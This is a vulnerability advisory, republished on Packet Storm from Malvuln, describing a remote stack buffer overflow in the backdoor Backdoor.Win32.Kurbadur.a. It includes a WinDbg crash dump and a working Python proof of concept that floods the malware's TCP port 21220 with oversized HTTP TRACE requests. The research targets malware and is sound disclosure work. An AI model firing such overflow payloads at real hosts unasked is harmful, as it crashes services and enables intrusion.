Backdoor.Win32.Kurbadur.a Remote Stack Buffer Overflow ≈ Packet Storm

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/821d3d5a9b15dc3388fe17f233cce296.txt
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Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kurbadur.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 21220, by sending incrementing HTTP TRACE requests with an increasing payload size, we trigger buffer overflow overwriting EIP.
Upon running a fake error message box will appear, the specimen also trys to connect to SMTP port 25.

Type: PE32
MD5: 821d3d5a9b15dc3388fe17f233cce296
Vuln ID: MVID-2021-2023
Dropped files: Crss.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/12/2021

Memory Dump:
*** WARNING: Unable to verify checksum for Crss.exe
*** ERROR: Module load completed but symbols could not be loaded for Crss.exe
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> .ecxr
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=00000014 edi=000ac614
eip=00011c5a esp=0040143c ebp=000ac618 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
Crss+1c5a
00011c5a 8902 mov dword ptr [edx],eax

EXCEPTION_RECORD: 004feb08 -- (.exr 0x4feb08)
ExceptionAddress: 00011c5a (Crss+0x00001c5a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141

PROCESS_NAME: Crss.exe

OVERLAPPED_MODULE: Address regions for 'mswsock' and 'dataexchange.dll' overlap

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
user32!_InternalCallWinProc+0
764ee090 55 push ebp

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 004feb58 -- (.cxr 0x4feb58)
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=0000001c edi=000ac614
eip=00011c5a esp=004fefb8 ebp=000ac618 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 000120fe to 00011c5a

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_STACK_OVERFLOW_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:
004fefb8 00011c5a crss+0x1c5a
004fefc0 000120fe crss+0x20fe
004fefd4 000122a0 crss+0x22a0
004feffc 00012727 crss+0x2727
004ff0fc 000a786d crss+0x9786d
004ff8c4 0006fc0d crss+0x5fc0d
004ff8d8 0006eb95 crss+0x5eb95
004ff8fc 0006f11c crss+0x5f11c
004ff920 0002d1d2 crss+0x1d1d2
004ff938 764ee0bb user32!_InternalCallWinProc+0x2b
004ff964 764f8849 user32!InternalCallWinProc+0x20
004ff988 764fb145 user32!UserCallWinProcCheckWow+0x1be
004ffa58 764e90dc user32!DispatchMessageWorker+0x4ac
004ffac4 764e38c0 user32!DispatchMessageA+0x10
004ffacc 0006b6f4 crss+0x5b6f4
004ffb6c 0007b1c2 crss+0x6b1c2
004ffb94 0007ce34 crss+0x6ce34
004ffbd8 0007e141 crss+0x6e141
004ffc10 0007e252 crss+0x6e252
004ffc44 0007ecd7 crss+0x6ecd7
004ffc7c 0007dbdc crss+0x6dbdc
004ffccc 000a1115 crss+0x91115
004ffd2c 000a1b8c crss+0x91b8c
004ffde4 00064483 crss+0x54483
004ffe08 00064163 crss+0x54163
004fff4c 0006b864 crss+0x5b864
004fff70 000a8450 crss+0x98450
004fff88 76e38654 kernel32!BaseThreadInitThunk+0x24
004fff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
004fffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_NAME: user32!_InternalCallWinProc+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: user32

IMAGE_NAME: user32.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 0

STACK_COMMAND: .cxr 00000000004FEB58 ; kb ; dds 4fefb8 ; kb

FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=21220
sz = 2000
c=1

def doit():
global c, sz
while True:
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.settimeout(0.2)
sz += 1000
JUNK="A"*sz
PAYLOAD="TRACE /"+JUNK+" HTTP/1.1\r\nHTTP/1.0-99999\r\nHost: "+JUNK+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
time.sleep(0.2)
c+=1
if c==60:
print("Backdoor.Win32.Kurbadur.a / Remote Stack Buffer Overflow")
print("MD5: 821d3d5a9b15dc3388fe17f233cce296")
print("By Malvuln")
break

if __name__=="__main__":
doit()

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